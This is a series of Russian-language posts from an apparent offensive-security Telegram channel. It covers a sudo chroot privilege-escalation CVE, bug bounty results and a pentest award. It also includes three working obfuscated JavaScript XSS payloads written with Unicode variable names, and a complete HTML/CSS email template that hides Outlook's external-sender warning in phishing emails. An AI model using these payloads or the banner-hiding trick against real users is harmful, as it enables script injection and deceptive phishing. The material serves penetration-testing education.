[LPE Linux CVE-2025-32463]

Всем привет! 👋

На днях вышла информация об уязвимости CVE-2025-32463. Баг позволяет в результате манипуляции опцией sudo -R (--chroot) повысить привилегии до root. 🚨

Нам удалось подтвердить PoC в нескольких версиях sudo.
1️⃣ На первом рисунке можете увидеть, что версия 1.9.14p2 подвержена уязвимости. Сначала от непривилегированного пользователя не могли смотреть каталог /root, а после эксплуатации спокойно смогли перечислить содержимое;

2️⃣ Аналогично на втором рисунке версия sudo 1.9.15p2 также подвержена уязвимости;

3️⃣А вот на третьем рисунке видно, что версия sudo 1.9.13p3 не подвержена недостатку, так как до версии 1.9.14 необходимой функциональности не было.

Подвержены версии sudo 1.9.14 - 1.9.17.
Для устранения недостатка достаточно обновить версию sudo до 1.9.17.p1
Подробнее о ресерче и приложенном PoC-е можно почитать здесь

#linux #pentest #LPE

[ Итоги Bug Bounty за Q2 2025 ]

Всем привет! 👋

Недавно подвели топ Исследователей за прошедший квартал на BI.ZONE Bug Bounty.
Мне по итогам 2-го квартала 2025 г. удалось залететь в топ-3 по количеству принятых отчетов, а также в топ-5 по начисленному рейтингу (по выплатам я далеко не в топе, но всё впереди 🔝)

Впечатления мега-приятные, результатом я более чем доволен, ведь ещё относительно недавно я делился первыми успехами тут и тут, а сейчас разделил топ с сильнейшими и именитыми хантерами платформы @bizone_bb.


Далее напишу несколько тезисов и некоторую статистику по итогам этих результатов:

➡️ Стал ли я считать себя крутым web-ером?
Скорее нет, но однозначно у меня повысилась насмотренность, я стал узнавать некоторые технические решения/используемые паттерны с полувзгляда и подбирать проверки, специфичные для конкретного стека на лету. Также в целом прокачался и выстроил некий план проверок под себя, потому что удалось пощупать веб-сервисы разных вендоров после многих крутых Исследователей, где нужно иногда мыслить шире, а не обкладываться в лоб условным dirsearch-ем и иным fuzzing-ом вслепую


➡️Теперь статистика:
⏺Активно хантил я с 9 мая и до 26 июня, за это время сдал 22 подтвержденных репорта (1 из репортов зачелся в Q2 будучи отправленным ещё в марте). Программы 50/50 были приватными/публичными

⏺Хантил я преимущественно черным ящиком (не использовал симку с номером тел. и практически нигде не регистрировал личный кабинет через почту). Тут могу отметить, что даже на поверхности находятся баги и весьма неплохие. Да, в среднем это low-medium находки, но свой кусочек пирога можно урвать, если внимательно исследовать и то, что лежит на поверхности функциональности до авторизации даже после десятков сданных отчетов от других багхантеров

⏺Заметил интересный факт, о котором говорили многие хантеры независимо друг от друга: для 80% моих багов я даже не открывал Burp 😈.
Очень "прокачался" в связке DevTools Mozilla 🖼️ + Google-Dorking🔎 + curl = валидная бага 🪙. Для многих задач этого было более чем достаточно

⏺Был приятно удивлен триажем как от самих вендоров, так и от первичного триажа @bizone_bb. Порадовала и скорость, и фактура (были информы, куда без них, но с адекватным обоснованием), за всё время только по одному репорту встретил на мой взгляд непонимание статуса info, так как буквально в соседней программе на том же стеке этой же баге был присвоен статус low/medium, и триажил это вроде бы один человек. Но меня это не напрягало, бага в любом случае была минорной.
Также было приятно быстро получать фидбэк по нескольким возникшим вопросам по работе самой платформы от Руководителя продукта, это здорово

⏺В процессе этого хантинга наткнулся на 2-3 необычных уязвимости бизнес-логики, но словил дубликат, причем они меня не расстроили, а наоборот добавили мотивации. Их я воспринял как мысль:"О, круто, я смотрю в нужном направлении, работаем дальше".

⏺А info отчеты я перестал воспринимать близко к сердцу — просто решил, что нужно продолжать хантить и прокачивать навыки.
Важно грамотно и лаконично описывать импакт — на мой взгляд это показывает и Ваш уровень как специалиста, так и уважение к Вендору/Триажеру, ведь всегда приятно читать понятный, структурированный и аккуратно оформленный отчет.
У меня иногда на формирование отчета уходило достаточно много времени, однако 1 раз это явно принесло свои плоды — первичный info превратился в medium, так как я предложил рассмотреть вектор под другим углом и сам докрутил багу (показал альтернативную возможность эксплуатации)

Пост получается большим, поэтому если у Вас есть вопросы по хантингу — пишите в комментариях, с удовольствием отвечу!
В будущих постах планирую рассказать больше о технике, используемых инструментах и методологии поисков багов с моей стороны. Плюсом продолжим делиться интересными кейсами, которые выстреливают на BB, оставайтесь с нами👨‍💻

@GigaHack

#web #bug_bounty

[ Итоги премии pentest award ]

Друзья, всем привет! 👋

Недавно прошла церемония награждения премии Pentest award 2025 ▶️
В этом году GigaHackers укрепили свои позиции:

@VlaDriev занял 3 место вместе с нашими друзьями-коллегами @Levatein, @N4m3U53r в номинации "Out of scope" с ресерчем BloodHoundIPA - ребята сделали fork популярного инструмента BloodHound для анализа доменов Active Directory и адаптировали его под домены на базе FreeIPA ⚡️

Чуть позже выпустим на канале отдельный пост про инструмент с обзором и нюансами 🏇

Мне же удалось занять 2 место в номинации "Hack the logic" за поиск логических уязвимостей. В кейсе смог реализовать уязвимость в платежной логике: осуществил реальное списание денежных средств клиента по поддельным данным + мог массово генерировать чеки об оплате, тем самым исчерпывая свободное место на файловом хранилище организации.

Помимо этого хотим также поздравить наших коллег и товарищей с призовыми местами:
@s0i37_channel с 2 местом в номинации "Out of scope" с работой "Google в локалке".
@Alevuc с 2 местом в номинации "Ловись рыбка" с работой "Когда CRM — твой враг, а телеграм зло во плоти"

С остальными результатами и итогами можете ознакомиться 👉 тут.
Большое спасибо организаторам, все было как всегда на высочайшем уровне! Обязательно будем принимать участие в следующем году.

@GigaHack

#pentestaward

[ Интернациональные XSS ]

Всем привет! 👋

Собрали для Вас необычную подборку "обфусцированных" XSS-like пейлоадов на разных языках🔥

XSS по-армянски 🇦🇲

ա="",բ=!ա+ա,գ=!բ+ա,դ=ա+{},ե=բ[ա++],զ=բ[է=ա],ը=++է+ա,թ=դ[է+ը],
բ[թ+=դ[ա]+(բ.գ+դ)[ա]+գ[ը]+ե+զ+բ[է]+թ+ե+դ[ա]+զ][թ](գ[ա]+գ[է]+բ[ը]+զ+ե+"('GigaHackers Ձեզ հարձակվել են')")()

XSS по-русски 🇷🇺

а='',б=!а+а,в=!б+а,г=а+{},д=б[а++],е=б[ж=а],
з=++ж+а,и=г[ж+з],б[и+=г[а]+(б.в+г)[а]+в[з]+д+е+б[ж]+и+д+г[а]+е][и](в[а]+в[ж]+б[з]+е+д+"('GigaHackers '+ document.domain)")()

XSS по-китайски 🇨🇳

甲='',乙=!甲+甲,丙=!乙+甲,丁=甲+{},戊=乙[甲++],己=乙[庚=甲],
辛=++庚+甲,壬=丁[庚+辛],
乙[壬+=丁[甲]+(乙.丙+丁)[甲]+丙[辛]+戊+己+乙[庚]+壬+戊+丁[甲]+己][壬](
丙[甲]+丙[庚]+乙[辛]+己+戊+"('GigaHackers 受到攻击')"
)()

На самом деле вся "магия" заключается в том, что в JavaScript имена переменных могут содержать не только привычную латиницу, но и символы в Unicode (в том числе символы из различных алфавитов).
А сама нагрузка здесь представляет собой конкатенацию строк + преобразование типов, которая собирается в вызов Function("alert('GigaHackers_text')")()

Здесь в очередной раз хочется напомнить, что зачастую много интересных техник можно реализовать штатными средствами, если внимательно изучить документацию/RFC и иные справки используемой технологии.
Изучайте технологии фундаментально, не спешите, читайте man, и перед вами откроются новые двери🔍

@GigaHack

#xss #obfuscation #web

[ Когда Outlook перестает сомневаться ]

Всем привет! 👋

В последнее время кампании по социальной инженерии все больше осложняются надстроенными средствами защиты. Одним из часто встречаемых механизмов является плашка в Outlook о внешнем отправителе. Думаю, многие коллеги, работающие с корпоративной почтой, не раз видели огромный алерт желто-красного цвета на пол письма с предупреждением о письме с внешнего доменного имени. Такая сигнализация резко повышает бдительность конечных пользователей, которых пытаются фишить.

Однако с этим механизмом защиты есть нюанс. Недавно мы писали пост об "интернациональных XSS". Главный месседж в нем был в понимании фундаментальных основ. В этом посте я в очередной раз подсвечу, что иногда решение проблемы в offensive-индустрии может скрываться на поверхности и не требовать программирования на ассемблере с бубном в руках.

Если мы сохраним письмо от "внешнего отправителя" как формат HTML в клиенте outlook-а, то увидим, что технически всё наше письмо и является HTML-кодом, в который была вставлена плашка в тело письма с сообщением, настроенным на Exchange-сервере администраторами (рис. 1).

Но раз мы рассылаем письма, значит под нашим контролем всё содержимое HTML-письма, которое мы направляем и корректируем. А для обхода всплывающего содержимого нам достаточно вспомнить CSS и его возможности: попробуем запретить отображение всего кроме нашей легенды письма с помощью магии CSS:

<html>
<head>  
  <style type="text/css">

    body  {
      display: none !important;
      background:#FFFFFF !important;
    }
    .id100500 {
      display: block !important;
    }
    div[style] {
      display: none !important;
      background:#FFFFFF !important;
    }
    p {
      display: none !important;
      background:#FFFFFF !important;
    }
    p[style] {
      display: none !important;
      background:#FFFFFF !important;
    }
    span {
      display: none !important;
      background: #FFFFFF !important;
    }
    span[style] {
      display: none !important;
      background:#FFFFFF !important;
    }
    table[style] {
      display: none !important;
      background:#FFFFFF !important;
    }
    table {
      display: none !important;
      background:#FFFFFF !important;
    }
    td {
      display: none !important;
      background:#FFFFFF !important;
    }
    td[style] {
      display: none !important;
      background:#FFFFFF !important;
    }
    tr {
      display: none !important;
      background:#FFFFFF !important;
    }
    tr[style] {
      display: none !important;
      background:#FFFFFF !important;
    }
    tbody {
      background:#FFFFFF !important;
      display: none !important;
    }
    tbody[style] {
      display: none !important;
      background:#FFFFFF !important;
    }
  </style>
</head>
<body>
  <p class="id100500">Привет!</p>
  <p class="id100500">Это обманка </p>
</body>
</html>

Здесь мы всё красим в белый кроме своего уникального class=id100500.
На рис.2 пример отправки письма без указанных CSS-стилей, а на рис.3 уже с применением нашей хитрости.

P/S стоит отметить, что в окне предпросмотра клиента Outlook-а текст с алертом всё ещё будет виден, если администраторы настроили вставку плашки в начало сообщения (рис. 4). Но тем не менее сама плашка визуально не отображается, и в потоке писем это может дать нам очки бонуса, как атакующим.
В фишинговых кампаниях мелочей не бывает, важны детали и любые нюансы. И если даже одна эта деталь сможет снизить бдительность сотрудника, то фишинговую кампанию можно будет считать успешной.

Об этой технике известно как минимум с 19-21 годов, более развернутое описание вы можете посмотреть тут, а приложенный PoC тут.

Таким образом, если ты понял правила игры, то можешь их адаптировать под себя

@GigaHack

#social #outlook #bypass

[ BUGS ZONE 6.0 ]

Всем привет! 👋

Не так давно выступил с небольшим докладом на приватном мероприятии для багхантеров от BI.ZONE Bug Bounty 🪲
Интересный опыт выступления в камерном сообществе перед рядом сильнейших хантеров. Приятно удивлен, что часть людей задавала вопросы после выступления как лично на ивенте, так и в ЛС (хотя сам свой доклад оцениваю больше для начинающих).
Также теперь мой ник 1 из 38 "увековеченных" участников ивента на плакате😎
Приятная мелочь, так как помню о первых багах и посещение BUGS 3 ещё в качестве гостя, а не хантера

Спасибо @BIZONE_BB и вендорам за приглашение в приватки, а победителей поздравляю с попаданием в топ-5, вы круты!
Был рад пообщаться со старыми товарищами и познакомиться с новыми людьми в комьюнити!🔝

@GigaHack

#bug_bounty #bugs_zone6 #conference